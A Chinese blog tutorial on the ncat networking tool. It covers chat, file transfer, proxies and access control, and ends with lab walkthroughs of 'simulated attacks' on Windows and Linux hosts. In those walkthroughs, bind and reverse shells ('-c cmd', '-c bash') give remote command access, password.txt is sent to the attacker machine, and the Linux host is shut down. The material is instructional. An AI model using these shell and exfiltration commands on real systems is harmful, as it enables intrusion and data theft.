网络测试工具ncat

简介

官网:Ncat - Netcat for the 21st Century

帮助文档:https://nmap.org/ncat/guide/index.html

windows版安装:安装nmap时自动会安装ncat

linux安装:可通过yum或apt方式安装ncat

ncat与nc(netcat)的区别:
    ncat与netcat是不同的开发者,ncat是netcat的增强版;ncat与nmap是同一组织开发维护,有nmap作为更专业的端口扫描工具,ncat取消了端口扫描功能。

用法示例

  • 聊天模式
# 服务器端(192.168.0.99):
# -l 监听模式
# -k 允许多终端接入,否则只允许一个连接
# -p 666 指定监听端口
ncat -l -k -p 666

#客户端:
ncat 192.168.0.99 666

服务器发送hello,收到客户端1和客户端2的hello

客户端1:收到服务器发送的hello,自己发送了hello

客户端2:收到服务器发送的hello,自己发送了hello

从上面的示例我们可以得知,多个客户端连接服务器时,服务器发送的消息都可以看到,但客户端发送的消息只有服务器可以看到。

补充:服务器端加入 --broker 参数可以实现客户端发送的消息通过服务器转发给其它客户端,但服务器端本身不会打印出消息内容

  • 从文件输入内容
# 服务器端
# 创建测试文件“helloworld.html”,内容为“Hello World”
# 启动ncat时从文件输入内容
C:\Users\49285>type helloworld.html
Hello World
C:\Users\49285>
C:\Users\49285>ncat -l -k -p 666 <helloworld.html

# 客户端
ncat 192.168.0.99 666

服务器

客户端1:

客户端2:

注意:

服务器从文件输入的内容只能使用一次
服务器不能再输入消息发送给客户端
客户端可以发送消息给服务器

  • 命令执行输出
--exec 运行不带 shell 解释的命令。
--sh-exec 通过将字符串传递到系统 shell 来运行命令。
--lua-exec 使用 Ncat 的内置 Lua 解释器运行 Lua 程序。

ncat -l --exec "/bin/echo Hello."
ncat -l --sh-exec "echo `pwd`"
ncat -l --lua-exec hello-luaexec.lua


# hello-luaexec.lua内容
--This is a --lua-exec "Hello world" example. In order to send to a client,
--all you need to do is output it to the standard output.

print("Hello, world!")

协议支持

Ncat 可以使用 TCP、UDP、SCTP、SSL、IPv4、IPv6 以及这些的各种组合。基于 IPv4 的 TCP 是默认设置。

访问控制

# 允许一台主机,拒绝所有其他主机
ncat -l --allow 192.168.0.125
ncat -l --allow 2001:db8::7d
ncat -l --allow trusted.example.com

# 拒绝一台主机,允许所有其他主机
ncat -l --deny 192.168.0.200
ncat -l --deny 2001:db8::c8

# 允许本地网络上的主机,拒绝所有其他主机
ncat -l --allow 192.168.0.0/24
ncat -l --allow 192.168.0.0-255
ncat -l --allow 2001:db8::/32

# 允许或拒绝文件中的主机
ncat -l --allowfile trusted-hosts.txt
ncat -l --denyfile external-hosts.txt

# 配置允许的最大连接数
ncat -l --max-conns 5

代理

# 作为客户端,使用代理服务器
# --proxy-type可以省略;它默认为 http. 如果<proxyport>省略,则默认为所选代理类型的众所周知端口:SOCKS 为 1080,HTTP 为 3128。
ncat --proxy <proxyhost>[:<proxyport>] --proxy-type  { http  |   socks4  |   socks5 } <host> [<port>]

# 作为代理服务器,提供代理服务,仅支持http代理
ncat -l 3128 --proxy-type http
ncat -l 3128 --proxy-type http --proxy-auth <user>:<pass>

文件传输

# 接收者监听,默认监听端口31337
host2$ ncat -l > outputfile
host1$ ncat --send-only host2 < inputfile

# 发送者监听,默认监听端口31337
host1$ ncat -l --send-only < inputfile
host2$ ncat host1 > outputfile

# 通过tar传输文件
host2$ ncat -l | tar xzv
host1$ tar czv <files> | ncat --send-only host2

# 传输磁盘映像
host2$ ncat -l > host1-hda.image
host1$ ncat --send-only host2 < /dev/hda
# 压缩传输磁盘映像
host2$ ncat -l | bzip2 -d > host1-hda.image
host1$ cat /dev/hda | bzip2 | ncat --send-only host2

# 当两台主机不能直接通信时,可以通过中转主机(host3)进行文件传输
# 注意,host2(接收主机)必须先于 host1(发送主机)连接到代理,代理不会缓冲接收到的数据以发送到稍后连接的主机。
host3$ ncat -l --broker
host2$ ncat host3 > outputfile
host1$ ncat --send-only host3 < inputfile

聊天 --chat

多个客户端连接服务器时,每个客户端都和服务器建立一个独立的连接,客户端之间不能彼此发送消息,服务器通过--broker参数可以实现将客户端发送的消息转发给其它客户端,但有多个客户端发送消息时,并不能区分消息是由哪一个用户发送,在服务器端通过--chat参数,可以实现在转发消息时,在消息前面标记出用户id,此用户id是随机生机,不可以指定和保留。

web服务器

# linux系统
ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; echo HelloWorld"

# windows系统
ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

ncats链

# 通过主机2将日志文件从主机1发送到主机3
host3$ ncat -l > log.txt
host2$ ncat -l | ncat host3
host1$ ncat --send-only host2 < log.txt

# 优化,主机3和主机1可以互相发送消息
host3$ ncat -l > log.txt
host2$ ncat -l --sh-exec "ncat host3"
host1$ ncat --send-only host2 < log.txt

模拟诊断服务

# 丢弃消息
ncat -l --keep-open 9 --recv-only > /dev/null
ncat --udp -l --keep-open 9 --recv-only > /dev/null

# 返回收到的消息
ncat -l 7 --keep-open --exec "/bin/cat"
ncat -l 7 --keep-open --udp --exec "/bin/cat"

# 返回日期时间
ncat -l 13 --keep-open --send-only --exec "/bin/date"
ncat -l 13 --keep-open --udp --send-only --exec "/bin/date"

模拟攻击windows主机

攻击者:kali linux(192.168.0.9)
被攻击者:win10(192.168.0.99)

环境配置:关闭操作系统防火墙,安装ncat工具
攻击目标:获取win10主机用户目录下的password.txt文件(文件已经提前准备好)

攻击过程:

# win10客户端执行
# 监听tcp 666端口
C:\Users\49285>type password.txt
password
C:\Users\49285>ncat -l -k -p 666 -c "cmd"


# kali攻击者

# 终端1:准备好接收从win10获取的文件
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 777 > password.txt 

# 终端2
# 连接win10主机,获取cmd执行权限
┌──(kali㉿kali)-[~]
└─$ ncat 192.168.0.99 666
Microsoft Windows [�汾 10.0.18363.592]
(c) 2019 Microsoft Corporation����������Ȩ����

# 查看password.txt文件内容
C:\Users\49285>type password.txt
type password.txt
password

# 将win10客户端的password.txt文件通过“终端1”传到kali系统本地
C:\Users\49285>ncat 192.168.0.9 777 < password.txt   
ncat 192.168.0.9 777 < password.txt

# 退出远端会话,ctrl + c
C:\Users\49285>^C

# 确认接收到的文件
┌──(kali㉿kali)-[~]
└─$ cat password.txt 
password                                                                                                                               
┌──(kali㉿kali)-[~]
└─$ 

以上就完成了从win10主机上获取机密文件,但存在以下两个问题:

问题1、win10主机作为客户端,网络环境通常是通过nat上网,不能从互联网直接访问;
问题2、windows主机一般默认启用了防火墙,不允许从外面访问本地端口。

针对上述两个问题,我们只需要将监听主机修改为攻击者主机即可,由被攻击者主动连接到攻击者主机,然后实施攻击。在“模拟攻击linux主机”章节进行演示

模拟攻击linux主机

攻击者:kali linux(192.168.0.9)
被攻击者:centos7(192.168.0.8)

环境配置:安装ncat工具
攻击目标:获取centos7主机用户目录下的password.txt文件(文件已经提前准备好)

攻击过程:

# 攻击者,kali linux(192.168.0.9)

# 终端1,监听777端口,准备好接收从centos7传送过来的password.txt文件
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 777 > password.txt

# 终端2,监听666端口,用于centos7主动连接
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 666

# 被攻击者,centos7(192.168.0.8)
[root@192 ~]# cat password.txt 
centos7 password
[root@192 ~]# 
[root@192 ~]# ncat 192.168.0.9 666 -c "bash"

# -----------------------以上完成了centos7主机主动连接到kali攻击者----------------------

# -----------------------开始实施攻击--------------------------------------------------

# centos7连接到kali的666端口后,在kali系统的“终端2”上执行命令,相当于是在centos7主机执行
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 666
# 查看当前目录文件
ls
anaconda-ks.cfg
install.sh
password.txt

#查看当前主机ip地址,192.168.0.8为centos7主机的ip地址
ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:09:3d:84 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.8/24 brd 192.168.0.255 scope global noprefixroute dynamic ens33
       valid_lft 86144sec preferred_lft 86144sec
    inet6 240e:382:718:4900:ec79:3a3a:a286:d92c/64 scope global noprefixroute dynamic 
       valid_lft 2444sec preferred_lft 2444sec
    inet6 fe80::f63c:a000:8980:2bf4/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

# 查看password.txt文件内容
cat password.txt
centos7 password

# 通过“终端2”获取password.txt文件
ncat 192.168.0.9 777 < password.txt

# 将centos7远程计算机关机(测试用,实际情况下不会进行此操作)
shutdown -h now

# 确认获取的password.txt文件内容
┌──(kali㉿kali)-[~]
└─$ cat password.txt
centos7 password

以上演示了如何获取linux主机的机密文件,只需要被攻击主机能够访问到攻击者主机即可完成攻击操作。

总结

ncat是一款功能强大而小巧的网络测试工具,也可以作为黑客攻击工具,为避免主机遭受黑客攻击,我们应当安装杀毒工具,到正规网站下载安装软件。

上一篇:计算机网络基础实践进阶

内容导览:it行业个人工作实践总结

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hougang

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值